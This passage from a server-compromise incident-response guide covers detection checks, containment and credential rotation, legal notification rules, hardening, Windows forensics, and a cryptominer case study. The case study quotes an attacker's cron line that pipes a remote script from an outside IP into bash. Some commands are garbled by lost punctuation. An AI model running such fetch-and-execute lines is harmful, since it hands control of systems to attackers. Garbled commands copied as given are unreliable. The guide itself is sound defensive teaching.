or stopped security tools | systemctl status auditd fail2ban | T1562.001 | ☐ | | 18 | Gaps or tampering in log files | ls -la /var/log/ , check file sizes | T1070.002 | ☐ | | 19 | Unusual files in /tmp , /dev/shm | ls -la /tmp/ /dev/shm/ /var/tmp/ | T1059 | ☐ | | 20 | Unexpected kernel modules | lsmod | T1215 | ☐ | | 21 | New firewall rules ports opened | iptables -L -n , cloud security groups | T1562.004 | ☐ | | 22 | Cloud IAM changes or new API keys | CloudTrail, GCP Audit Logs, Azure Monitor | T1078.004 | ☐ | | 23 | Large outbound data transfers | Network flow logs, VPC Flow Logs | T1048 | ☐ | | 24 | Rootkit detection findings | chkrootkit -q , rkhunter --check --rwo | T1014 | ☐ | | 25 | Modified .bashrc / .profile | cat /root/.bashrc | T1546.004 | ☐ | | 26 | Privileged / host-mounted containers | kubectl get pods --all-namespaces -o json | T1610 | ☐ | | 27 | High-entropy DNS queries | Zeek dns.log , Suricata EVE JSON | T1071.004 | ☐ | | 28 | Suricata / IDS C2 alerts | /var/log/suricata/eve.json | T1071.001 | ☐ | | 29 | LD PRELOAD entries | cat /etc/ld.so.preload | T1574.006 | ☐ | | 30 | Deleted files still running in memory | lsof | grep deleted | T1070 | 9. Immediate Response Actions Once compromise is confirmed, act decisively and in the correct order. 9.1 Isolate the Server Option A: Block all traffic except your investigation IP iptables iptables -I INPUT -s YOUR IP/32 -j ACCEPT iptables -I OUTPUT -d YOUR IP/32 -j ACCEPT iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP Option B: AWS — remove all inbound rules from the security group aws ec2 revoke-security-group-ingress \ --group-id sg-XXXX --protocol all --cidr 0.0.0.0/0 Snapshot the disk beforeisolating the server for forensic preservation. 9.2 Kill Malicious Sessions View active sessions who && w Kill a specific terminal session use PTS from who output pkill -kill -t pts/1 Kill a specific process by PID kill -9 <PID Kill all processes owned by a suspicious user pkill -u suspicioususer 9.3 Rotate All Credentials Rotate after isolation to prevent the attacker from responding destructively. Remove unauthorised SSH keys, then generate new keys for your team ssh-keygen -t ed25519 -C "new key post incident $ date +%F " Rotate system user passwords passwd root && passwd <other users AWS — rotate IAM access keys aws iam create-access-key --user-name YOUR USER aws iam delete-access-key --user-name YOUR USER --access-key-id OLD KEY ID Rotate database passwords PostgreSQL example psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new strong password';" Rotate API keys, webhook secrets, JWT secrets, and update secrets manager 9.4 Patch the Exploited Vulnerability Full system update Ubuntu/Debian apt update && apt upgrade -y Full system update RHEL/CentOS/Amazon Linux yum update -y Patch a specific component e.g., OpenSSH apt install --only-upgrade openssh-server 9.5 Restore from Backups Compare current file hashes against your baseline md5sum /usr/bin/ls /bin/bash /sbin/sshd current hashes.txt diff baseline hashes.txt current hashes.txt Restore specific files from backup rsync -avz backup server:/backups/latest/etc/ /etc/ 9.6 Notify Stakeholders Timely, accurate communication is a legal and operational requirement — see Section 10 for regulatory obligations. Internal immediately on confirmation : - CTO / Engineering Lead - Legal and Compliance - On-call team External based on data exposure assessment : - Affected customers - Data protection authorities - Cyber insurance provider - Law enforcement for significant breaches or ransomware 10. Legal, Compliance & Regulatory Obligations A server compromise is not just a technical event — it is a legal event . The moment you confirm that personal data, payment data, or protected health information may have been accessed, a regulatory clock starts ticking. Ignoring this can result in fines that dwarf your remediation costs. 10.1 GDPR General Data Protection Regulation Applies to any organisation that processes data of EU/UK residents, regardless of where your servers are located. | Obligation | Requirement | Deadline | |---|---|---| Supervisory Authority Notification | Report to your national DPA if the breach is likely to result in risk to individuals | 72 hours from becoming aware | Individual Notification | Notify affected individuals directly if the breach is likely to result in high risk | Without undue delay | Documentation | Record all breaches, even if not reported externally | Immediate; kept permanently | Key GDPR contacts examples : - UK: ICO — ico.org.uk/report-a-breach - Ireland: DPC — dataprotection.ie - Germany: Each Bundesland has its own DPA GDPR Breach Assessment Checklist: ☐ What categories of personal data were exposed? Names, emails = low risk | Health data, financial = HIGH risk ☐ How many data subjects are affected? ☐ Can the data be used to cause harm identity theft, discrimination ? ☐ Was the data encrypted at rest? ☐ Has the attacker been confirmed to have accessed the data, or just the server? 10.2 PCI-DSS Payment Card Industry Data Security Standard Applies if your servers process, store, or transmit cardholder data credit/debit card numbers . | Obligation | Requirement | |---|---| Incident Response Plan | You must have a documented, tested IR plan Requirement 12.10 | Notify Card Brands | Contact Visa, Mastercard, Amex directly within 24 hours of suspected compromise | Notify Acquiring Bank | Your payment processor must be informed immediately | Forensic Investigation | A PCI Forensic Investigator PFI may be required for serious breaches | Log Preservation | Preserve all logs for at least 12 months; 3 months immediately available | Critical:Do not wipe or rebuild compromised systems in a PCI environment until your acquiring bank authorises it — you may be required to preserve the evidence for a PFI investigation. 10.3 SEC Cybersecurity Disclosure Rules US Public Companies The SEC's 2023 cybersecurity rules require public companies to: - Disclose material cybersecurity incidents on Form 8-K within 4 business days of determining materiality - Disclose cybersecurity risk management, strategy, and governance in annual reports Form 10-K A breach is "material" if a reasonable investor would consider it important to an investment decision — typically when customer data, revenue, operations, or reputation is significantly affected. 10.4 Nigeria Data Protection Act NDPA / NDPR For Nigerian-based organisations particularly relevant for fintechs and startups operating in Nigeria : - The Nigeria Data Protection Act 2023 requires notification to the Nigeria Data Protection Commission NDPC of data breaches - Notification of affected data subjects is required where the breach is likely to cause harm - Organisations must maintain a breach register 10.5 Law Enforcement Engagement When to engage law enforcement: ☐ Nation-state or politically motivated attack CISA in the US, NCSC in UK ☐ Ransomware FBI has a dedicated ransomware task force ☐ Financial fraud or wire transfers initiated via the compromise ☐ Child exploitation material discovered on the server ☐ Any attack on critical infrastructure Important: Do NOT pay ransoms without consulting legal counsel. Some ransomware groups are on OFAC sanctions lists — paying them may itself be a criminal act under US law. Key contacts: - US: FBI Cyber Division — ic3.gov | CISA — cisa.gov/report - UK: NCSC — ncsc.gov.uk/section/about-ncsc/report-an-incident - Nigeria: NITDA — nitda.gov.ng 10.6 Cyber Insurance If your organisation holds a cyber insurance policy: Post-incident insurance checklist: ☐ Notify your insurer BEFORE rebuilding systems they may require their own forensic investigator ☐ Document all incident response costs staff hours, third-party IR, legal fees, notification costs ☐ Do not make public statements about the breach without legal sign-off ☐ Preserve all evidence in its original state until the insurer approves ☐ Check your policy for ransomware payment coverage and sublimits 11. Prevention Best Practices 11.1 Multi-Factor Authentication MFA Install Google Authenticator PAM for SSH MFA apt install libpam-google-authenticator echo "auth required pam google authenticator.so" /etc/pam.d/sshd Enforce in sshd config cat /etc/ssh/sshd config << EOF ChallengeResponseAuthentication yes AuthenticationMethods publickey,keyboard-interactive EOF systemctl restart sshd 11.2 Least Privilege Audit sudo — nobody should have NOPASSWD unless absolutely necessary grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ Lock down SSH cat /etc/ssh/sshd config << EOF PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes AllowUsers deploy ubuntu YOUR USER MaxAuthTries 3 LoginGraceTime 30 EOF systemctl restart sshd 11.3 Automated Patch Management Enable automatic security-only updates Ubuntu apt install unattended-upgrades dpkg-reconfigure --priority=low unattended-upgrades 11.4 Log Monitoring Architecture ┌──────────────────────────────────────────────────────────────────┐ │ LOGGING ARCHITECTURE │ │ │ │ Server Logs ──► Log Aggregator ──► SIEM / Alerting │ │ auth.log, Fluentd, Elastic/Kibana, │ │ syslog, Filebeat, Splunk, Datadog, │ │ nginx.log, Logstash Wazuh │ │ Zeek, ↓ │ │ Suricata Alert Rules │ │ - Root login │ │ - New user created │ │ - Port scan detected │ │ - Auth failure spike │ │ - C2 beacon detected │ └──────────────────────────────────────────────────────────────────┘ 11.5 IDS/IPS, EDR, and File Integrity Monitoring Wazuh agent open-source HIDS/SIEM curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | \ tee /etc/apt/sources.list.d/wazuh.list apt update && apt install wazuh-agent systemctl enable wazuh-agent && systemctl start wazuh-agent AIDE — File Integrity Monitoring apt install aide aideinit cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db Automated daily check echo "0 2 root /usr/bin/aide --check | \ mail -s 'AIDE Report' security@yourcompany.com" /etc/crontab 11.6 Backup Strategy 3-2-1 Rule ┌────────────────────────────────────────────────┐ │ THE 3-2-1 BACKUP RULE │ │ │ │ 3 copies of your data │ │ 2 different storage media / services │ │ 1 copy offsite / air-gapped │ │ │ │ Cloud implementation: │ │ - Daily automated EBS/disk snapshots │ │ - Weekly cross-region backup copy │ │ - Monthly export to immutable cold storage │ │ - Quarterly restore test actually restore │ └────────────────────────────────────────────────┘ 11.7 Harden Your Attack Surface Disable unused services systemctl disable --now bluetooth avahi-daemon cups UFW firewall — default deny ufw default deny incoming ufw default allow outgoing ufw allow 22/tcp && ufw allow 443/tcp && ufw allow 80/tcp ufw enable AWS IMDSv2 only prevents SSRF attacks from stealing IAM credentials aws ec2 modify-instance-metadata-options \ --instance-id i-YOUR INSTANCE ID \ --http-tokens required \ --http-endpoint enabled 12. Windows Server Incident Response Windows Server environments require a parallel investigation workflow. Here is a concise Windows-specific playbook. 12.1 PowerShell Forensic Commands ── Active Sessions ─────────────────────────────────────────────── List all logged-in users query user /server:localhost Get-WmiObject Win32 LoggedOnUser | Select-Object Antecedent, Dependent ── Process Investigation ───────────────────────────────────────── Full process listing with parent PIDs reveals process tree Get-Process | Select-Object Name, Id, CPU, WS, Path | Sort-Object CPU -Descending | Format-Table -AutoSize Show processes with network connections Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess, @{n='Process';e={ Get-Process -Id $ .OwningProcess .Name}} | Format-Table -AutoSize ── Scheduled Tasks attacker persistence ──────────────────────── Get-ScheduledTask | Where-Object {$ .State -ne "Disabled"} | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize Find recently created scheduled tasks last 7 days Get-ScheduledTask | Where-Object { $ .Date -gt Get-Date .AddDays -7 } | Select-Object TaskName, Date, TaskPath ── Local Users & Groups backdoor accounts ───────────────────── Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet Get-LocalGroupMember -Group "Administrators" ── Event Log Forensics ─────────────────────────────────────────── Failed logins in the last 24 hours Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4625 StartTime= Get-Date .AddHours -24 } | Select-Object TimeCreated, Message | Format-List Successful logins from the last 24 hours Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4624 StartTime= Get-Date .AddHours -24 } | Select-Object TimeCreated, Message | Format-List New user account creations Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720} New scheduled task creations Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698} Service installations malware as a service Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} Users added to privileged groups Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4728} Domain group Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732} Local group ── Persistence Locations ───────────────────────────────────────── Registry run keys common autorun persistence Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" Services attacker-installed services Get-Service | Where-Object {$ .StartType -eq "Automatic"} | Select-Object Name, DisplayName, Status, StartType WMI subscriptions fileless persistence Get-WMIObject -Namespace root/subscription -Class EventFilter Get-WMIObject -Namespace root/subscription -Class EventConsumer ── Network Investigation ───────────────────────────────────────── All listening ports with process association netstat -ano | findstr LISTENING Map PIDs to process names Get-NetTCPConnection -State Listen | Select-Object LocalPort, OwningProcess, @{n='ProcessName';e={ Get-Process -Id $ .OwningProcess -EA SilentlyContinue .Name}} ── Prefetch and Recent Execution ───────────────────────────────── Prefetch files reveal recently executed programs including malware Get-ChildItem C:\Windows\Prefetch | Sort-Object LastWriteTime -Descending | Select-Object -First 20 Recently modified files in temp and user directories Get-ChildItem $env:TEMP, $env:TMP, "C:\Users\ \AppData\Local\Temp" -Recurse -ErrorAction SilentlyContinue | Where-Object {$ .LastWriteTime -gt Get-Date .AddDays -3 } | Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending ── Preserve Evidence ───────────────────────────────────────────── Export Security event log for offline analysis wevtutil epl Security C:\forensics\security.evtx wevtutil epl System C:\forensics\system.evtx wevtutil epl Application C:\forensics\application.evtx Create a hash of collected evidence Get-FileHash C:\forensics\ | Export-Csv C:\forensics\evidence hashes.csv 12.2 Sysmon Configuration Sysmon System Monitor dramatically enhances Windows event logging. Deploy it on all Windows servers. Download and install Sysmon Download from: https://docs.microsoft.com/sysinternals/downloads/sysmon .\Sysmon64.exe -accepteula -i sysmonconfig.xml Recommended config: SwiftOnSecurity's sysmon-config https://github.com/SwiftOnSecurity/sysmon-config Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml \ -OutFile sysmonconfig.xml .\Sysmon64.exe -c sysmonconfig.xml Apply config Key Sysmon Event IDs to monitor: Event 1: Process Creation captures full command line + parent Event 3: Network Connection process-level network visibility Event 7: Image Loaded DLL injection detection Event 8: CreateRemoteThread process injection Event 10: ProcessAccess LSASS dumping detection — Event 10 + target=lsass.exe Event 11: FileCreate malware dropping files Event 13: RegistryValue Set persistence via registry Event 22: DNS Query C2 domain tracking Event 25: ProcessTampering hollowing/herpaderping Query Sysmon logs via PowerShell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$ .Id -eq 1} | Process creation Select-Object TimeCreated, @{n='CommandLine';e={$ .Properties 10 .Value}}, @{n='ParentProcess';e={$ .Properties 20 .Value}} | Format-List | Select-Object -First 20 12.3 Windows Defender Logs View Windows Defender threat history Get-MpThreatDetection | Select-Object ThreatName, ActionSuccess, DetectionTime, Resources, ProcessName | Format-List View all quarantined items Get-MpThreat | Select-Object ThreatName, SeverityID, IsActive | Format-Table Check Defender health attackers disable it Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled, AntivirusEnabled, RealTimeProtectionEnabled, OnAccessProtectionEnabled Re-enable Defender if disabled by attacker Set-MpPreference -DisableRealtimeMonitoring $false Start-Service WinDefend 13. Real-World Example: Detecting a Compromised Linux Server The Scenario A startup's Node.js API server on AWS EC2 Ubuntu 22.04 starts showing unusual behaviour. The on-call engineer notices the server's CPU is at 95% with no corresponding increase in API traffic. The following investigation unfolds. T+0:00 — Initial Alert Datadog fires a CPU alert. The engineer SSHes in: bash $ top "kworkerds" consuming 92% CPU This is NOT a real kernel worker — it is disguised cryptomining malware T+0:05 — Process Investigation bash $ ps aux | grep kworkerds nobody 14782 92.1 0.2 /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet Running from /tmp, connecting to a Monero mining pool $ ls -la /tmp/.cache/ -rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds ATT&CK: T1496 Resource Hijacking , T1059.004 Unix Shell T+0:08 — Network Investigation bash $ ss -tnp | grep 14782 ESTAB 10.0.1.45:52441 195.201.x.x:443 "kworkerds",pid=14782 Confirmed: outbound connection to a known Monero mining pool ATT&CK: T1071.001 Application Layer Protocol: Web T+0:10 — Finding the Entry Point bash $ grep "Jan 15 03:" /var/log/auth.log | grep "Failed\|Accepted" 847 failed password attempts for root from 91.108.x.x Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109 Root cause: The nobody user had a weak password and SSH password authentication was enabled. The attacker brute-forced it in under 4 minutes. ATT&CK: T1110.001 Brute Force: Password Guessing , T1078 Valid Accounts T+0:15 — Finding Persistence bash $ crontab -l -u nobody curl -s http://91.108.x.x/update.sh | bash $ cat /home/nobody/.ssh/authorized keys ssh-rsa AAAAB3NzaC1... attacker@kali Planted for persistent re-entry ATT&CK: T1053.003 Cron Job , T1098.004 SSH Authorized Keys T+0:20 — Isolation and Response - AWS security group updated — deny all except investigation IP - EBS snapshot taken for forensic preservation - Process killed: kill -9 14782 - Malicious cron removed and SSH key deleted - Binary removed: rm -rf /tmp/.cache/ - nobody account password rotated, SSH password auth disabled globally - fail2ban and auditd installed fleet-wide - AWS GuardDuty enabled would have flagged the cryptomining connection within minutes had it been active Post-Incident Compliance Actions: - Breach assessment conducted — no PII or payment data on this server - Legal confirmed: NDPA notification not required no personal data in scope - Incident documented in breach register per best practice - Post-mortem scheduled with full timeline reconstruction Lessons Applied: | Before | After | |---|---| | SSH password auth enabled | Password auth disabled fleet-wide | | No brute-force protection | fail2ban deployed on all servers | nobody user had login shell | usermod -s /sbin/nologin nobody | | No anomaly detection | AWS GuardDuty enabled, CPU alert baseline tightened | | No audit logging | auditd with watch rules deployed | 14. Conclusion — The DICRP Framework Every server incident, regardless of severity, fits into a five-phase lifecycle. Having a mental model for this prevents you from jumping straight to remediation before you have fully understood the scope. ┌────────────────────────────────────────────────────────────────────────────┐ │ THE DICRP FRAMEWORK │ │ │ │ ┌─────────┐ ┌───────────┐ ┌─────────┐ ┌─────────┐ ┌──────────┐ │ │ │ DETECT │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT │ │ │ └─────────┘ └───────────┘ └─────────┘ └─────────┘ └──────────┘ │ │ │ │ Detect Investigate Contain Recover Prevent │ │ ────── ─────────── ─────── ─────── ─────── │ │ Monitoring Preserve Isolate Restore MFA │ │ SIEM alerts evidence server from backup Least priv │ │ Log review ID access Kill sessions Patch vuln FIM │ │ Zeek/Suricata vector Rotate creds Verify IDS/SIEM │ │ Anomalies Timeline Scope blast integrity auditd │ │ GuardDuty Persistence radius Resume ops 3-2-1 backup │ │ MITRE mapping Legal notify Patch mgmt │ └────────────────────────────────────────────────────────────────────────────┘ A server compromise is not just a technical event — it is a business event with legal, reputational, and financial consequences . The teams that handle it best are not the ones who never get attacked; they are the ones who have already thought through their response before the incident happens. Build your detection. Practice your playbook. Know your logs. Map your threats to ATT&CK. Know your compliance obligations before you need them. The attacker only needs to get lucky once — you need to be ready every time. 15. Quick Reference & LinkedIn Carousel First 10 Minutes Checklist FIRST 10 MINUTES — SERVER COMPROMISE RESPONSE ──────────────────────────────────────────────────────────────────── ☐ Take a cloud disk snapshot BEFORE doing anything else ☐ ps aux --sort=-%cpu | head -20 find malicious processes ☐ ss -tulpn find unexpected listeners ☐ last -n 50 -a recent login history ☐ grep "Accepted" /var/log/auth.log | tail -30 successful logins ☐ find / -mtime -1 -type f 2 /dev/null | head -20 recent file changes ☐ crontab -l && ls /etc/cron.d/ cron persistence ☐ cat ~/.ssh/authorized keys all users ☐ Isolate server update security group / iptables ☐ Notify your incident response team ──────────────────────────────────────────────────────────────────── This article reflects current best practices. The threat landscape evolves continuously — always verify CVEs, tooling, and log paths against your specific OS version and cloud provider documentation. MITRE ATT&CK version referenced: v14.